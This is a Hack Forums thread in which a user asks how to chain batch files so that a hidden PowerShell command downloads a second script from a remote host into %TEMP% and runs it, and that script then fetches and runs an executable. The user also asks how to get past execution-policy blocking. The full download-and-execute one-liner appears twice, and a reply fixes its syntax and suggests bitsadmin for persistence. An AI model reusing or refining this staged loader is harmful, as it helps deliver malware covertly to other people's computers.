

Forum:[Hack Forums](#)

Thread: [\[Bat/Powershell\] - .bat to run another .bat ?](#)

Pe?cil - July 23, 2017, 5:38 am

Hello

1) I wonder how to write my 1.bat to dl/run ("call") my 2.bat ? Actually my 2.bat is just downloaded but not runned.

Here is my current scripts :

- 1.bat = powershell.exe -ExecutionPolicy Bypass -w hidden ; (New-Object System.Net.WebClient).DownloadFile('http://domain.com/2.bat','%TEMP%\2.bat');Start('%TEMP%\2.bat');

- 2.bat = same script to dl/run an exe, anyway

EDIT : It seems that I just have to write "Call" at the beginning of my 2.bat and it works fine finally. I doubt it's super stable. Is it the best solution ?

2) To run a file.exe and have the best compatibility (no execution policy blocking)/stability (no crash), is it better to use a 1.bat first (to dl/run a 2.bat) and then have this 2.bat (dl/run file.exe) or other format file should be better ? I ask that because I made lot of tests (ps1/wsf/vbs etc) and my way (bat/powershell) seems to be the most stable, so idk.

NB : I want to use a "transition file" (1.bat) before downloading my file.exe (so not dl the file.exe with my 1.bat directly).

Thank you for your help.

Vuln - July 23, 2017, 6:10 am

1)

(Jul 23, 2017 05:38 AM)Lilinote Wrote: [\[CITE\]](#) powershell.exe -ExecutionPolicy Bypass -w hidden ; (New-Object System.Net.WebClient).DownloadFile('http://domain.com/2.bat','%TEMP%\2.bat');Start('%TEMP%\2.bat');

If you remove the semicolon after "-w hidden", it works fine for me.

2) There is no single best way, but personally I prefer using cmd>[bitsadmin](#) or cmd>powershell>bitsadmin. It's slow but persistent.

What's the point of using a "transition" file?

Pe?cil - July 23, 2017, 6:27 am

I just wrote "call" at the beginning of my 2.bat and it works fine finally.

1-2)/Jailbyte Ok man I'm gonna try/check that out. Thank you.